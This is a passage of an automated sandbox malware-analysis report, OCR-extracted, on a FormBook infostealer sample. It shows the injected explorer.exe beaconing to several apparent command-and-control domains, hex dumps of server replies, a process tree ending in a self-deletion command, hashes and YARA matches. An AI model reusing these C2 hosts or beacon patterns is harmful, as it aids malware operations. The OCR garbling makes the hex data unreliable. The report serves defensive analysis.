61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

50.87.238.189 80 C:\Windows\explorer.exe

Data

GET /dy8g/?9rrLUp1=iVPDfBhYBy5JvywJlu7/TaNalK/WCHUrbFXeojMH/nMVdHPbpxjQug5aGN6jhO1pTuT&sx
IXj=RL30W HTTP/1.1

Host: www.tinsley.website

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred

Jul 22, 2021 9008
10:09:57.743305922 CEST

Session ID Source IP
5 192.168.2.3

kBytes
Timestamp transferred
Jul 22, 2021 9009

10:10:02.959182978 CEST

Jul 22, 2021 9010
10:10:03.012269020 CEST

Session ID Source IP
6 192.168.2.3

kBytes
Timestamp transferred
Jul 22, 2021 9011

10:10:13.489747047 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49742

Direction

ouT

Source Port
49743

Direction
ouT

Data

HTTP/1.1 404 Not Found

Date: Thu, 22 Jul 2021 08:09:57 GMT

Server: Apache

Content-Length: 315

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3¢ 68 31 3e 4e 6f 74 20 46 6f
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66 6f
75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6¢ 6C 79 2C
20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77
68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68
61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founde
rror was encountered while trying to use an ErrorDocument to handle the request.</p></body></htm|>

Destination IP Destination Port Process

217.160.0.254 80 C:\Windows\explorer.exe

Data

GET /dy8g/?9rrLUp1=XQ+IsuOG6xtA2RDWfBD5IRfVZekOdoA9gy19PVXp7eWYHk3qJ48ISdkxrcmrsJaPDNZD&sx
IXj=RL30W HTTP/1.1

Host: www.surivaganza.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Content-Type: text/html

Content-Length: 619

Connection: close

Date: Thu, 22 Jul 2021 08:10:03 GMT

Server: Apache

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48
54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6¢ 2f 2f 45 4e 22 0d Oa 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77
33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6¢ 31 2f 44 54 44 2f 78 68 74 6d 6¢ 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6¢ 2e
64 74 64 22 3e 0d Oa 3c 68 74 6d 6¢ 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39
39 39 2f 78 68 74 6d 6¢ 22 20 78 6d 6¢ 3a 6¢ 61 6€ 67 3d 22 65 6e 22 20 6¢ 61 6e 67 3d 22 65 6e 22 3e 0d Oa 20 20 20 3¢
68 65 61 64 3e 0d 0a 20 20 20 20 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e
64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65
6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 75 74

66 2d 38 22 20 2f 3e 0d 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d
63 6f 6e 74 72 6f 6¢c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 2f 3e 0d Oa 20 20 20 3c 2f 68 65 61
64 3e 0d 0a 20 20 20 3c 62 6f 64 79 20 73 74 79 6¢ 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 61 72 69 61 6¢ 3b 22 3e
0d 0a 20 20 09 3c 68 31 20 73 74 79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a
31 2e 30 65 6d 3b 22 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 09 3¢ 70 20
73 7479 6¢ 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 44 69 65 20 61 6e 67 65 67 65 62 65 6e 65
20 53 65 69 74 65 20 6b 6f 6e 6e 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 20 77 65 72 64 65 6e 2e 3c 2f 70 3
e 0d 0a 20 20 20 3c 2f 62 6f 64 79 3e 0d Oa 20 20 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional/EN""http://www.w3.0rg/TR/xhtml1/DTD/xht
ml1-transitional.dtd"><html xmIns="http://www.w3.0rg/1999/xhtml" xml:lang="en" lang="en"> <head>  <title>Error 404 -
Not found</title>  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  <meta http-equiv="cache-
control" content="no-cache" /> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.
Oem;">Error 404 - Not found</h1><p style="font-size:0.8em;">Die angegebene Seite konnte nicht gefunden werden.</p>
</body> </html>

Destination IP Destination Port Process

50.87.248.20 80 C:\Windows\explorer.exe

Data

GET /dy8g/?9rrLUp1=d19eO6GENVuhhF21ZBGZI9CJIMc/scmMOFs5NmUifzPq1VUdHCmcaYQjC6cJIVTF2eMwa&sx
IXj=RL30W HTTP/1.1

Host: www.matcitekids.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred

Jul 22, 2021 9012
10:10:13.687524080 CEST

Code Manipulations

Statistics

Behavior

)

System Behavior

Direction

IN

Click to jump to process

Data

HTTP/1.1 500 Internal Server Error

Date: Thu, 22 Jul 2021 08:10:13 GMT

Server: Apache

Content-Length: 677

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 35 30 30 20 49 6e
74 65 72 6e 61 6¢ 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e Oa 3c 2f 68 65 61 64 3e 3¢ 62 6f 64 79
3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6¢ 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20
7365 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6¢ 20 65 72 72 6f 72 20 6f 72 Oa
6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6¢ 65 20 74 6f 20 63 6f 6d 70 6C
65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e Oa 3c 70 3e 50 6¢ 65 61 73 65 20 63 6f 6e 74 61 63 74 20
74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72
40 6d 61 74 63 69 74 65 6b 69 64 73 2e 6d 61 74 63 69 74 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20
6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c Oa 20 61 6e 64 20 74 68
6520 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73
2065 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68
69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6¢ 61 62 6C 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72
206572 72 6f 72 20 6¢ 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2c 20 61 20 35 30 30 20 49
6e 74 65 72 6e 61 6¢ 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72
65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20
74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢
3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>500 Internal Server Error</ti
tle></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and
was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@matcitekids.matcite.
com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More inf
ormation about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was
encountered while trying to use an ErrorDocument to handle the request.</p></body></html|>

Analysis Process: WREFu91LXZ.exe PID: 5912 Parent PID: 5556

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

10:08:21

22/07/2021
C:\Users\user\Desktop\WREFuU91LXZ.exe
true
‘C:\Users\user\Desktop\WREFU91LXZ .exe'
0x400000

177125 bytes
686DC98567009E47EAC88E95804BO9DDE
true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000001.00000002.230049818.00000000021A0000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000001.00000002.230049818.00000000021A0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000001.00000002.230049818.00000000021A0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: wREFu91LXZ.exe PID: 492 Parent PID: 5912

General

Start time: 10:08:22

Start date: 22/07/2021

Path: C:\Users\user\Desktop\WREFuU91LXZ.exe

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Read

Copyright Joe Security LLC 2021

true
‘C:\Users\user\Desktop\WREFuU91LXZ.exe'
0x400000

177125 bytes
686DC98567009E47EAC88E95804B9DDE
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.283872070.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000003.00000002.283872070.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.283872070.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.284026050.0000000000540000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000003.00000002.284026050.0000000000540000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.284026050.0000000000540000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000001.227451103.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000003.00000001.227451103.0000000000400000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000001.227451103.0000000000400000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000003.00000002.284250937.00000000009D0000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000003.00000002.284250937.00000000009D0000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000003.00000002.284250937.00000000009D0000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

low

Show Windows behavior
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Analysis Process: explorer.exe PID: 3388 Parent PID: 492

General

Start time: 10:08:27

Start date: 22/07/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff714890000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BABOELD

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000000.273287950.0000000006399000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000005.00000000.273287950.0000000006399000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:

00000005.00000000.273287950.0000000006399000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high

File Activities Show Windows behavior

Analysis Process: msiexec.exe PID: 5256 Parent PID: 3388

General

Start time: 10:08:47

Start date: 22/07/2021

Path: C:\Windows\SysWOWe64\msiexec.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\msiexec.exe
Imagebase: 0x80000

File size: 59904 bytes

MD5 hash: 12C17B5A5C2A7B97342C362CA467E9A2
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000002.486466512.0000000000430000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000002.486466512.0000000000430000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000002.486466512.0000000000430000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000002.487707401.0000000004060000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000002.487707401.0000000004060000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000002.487707401.0000000004060000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000002.487516890.0000000002A10000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000002.487516890.0000000002A10000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000002.487516890.0000000002A10000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high

File Activities Show Windows behavior

File Read

Analysis Process: cmd.exe PID: 6084 Parent PID: 5256

General
Start time: 10:08:52
Start date: 22/07/2021
Path: C:\Windows\SyswOWe64\cmd.exe
Wow64 process (32bit): true
Commandline: /c del 'C:\Users\user\Desktop\WREFU91LXZ.exe'
Imagebase: 0xbd0000
File size: 232960 bytes
MD5 hash: F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
File Activities Show Windows behavior

Analysis Process: conhost.exe PID: 3728 Parent PID: 6084

General

Start time: 10:08:53

Start date: 22/07/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff778f00000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true
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Has administrator privileges: true

Programmed in: C, C++ or other language
Reputation: high
Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 33.0.0 White Diamond
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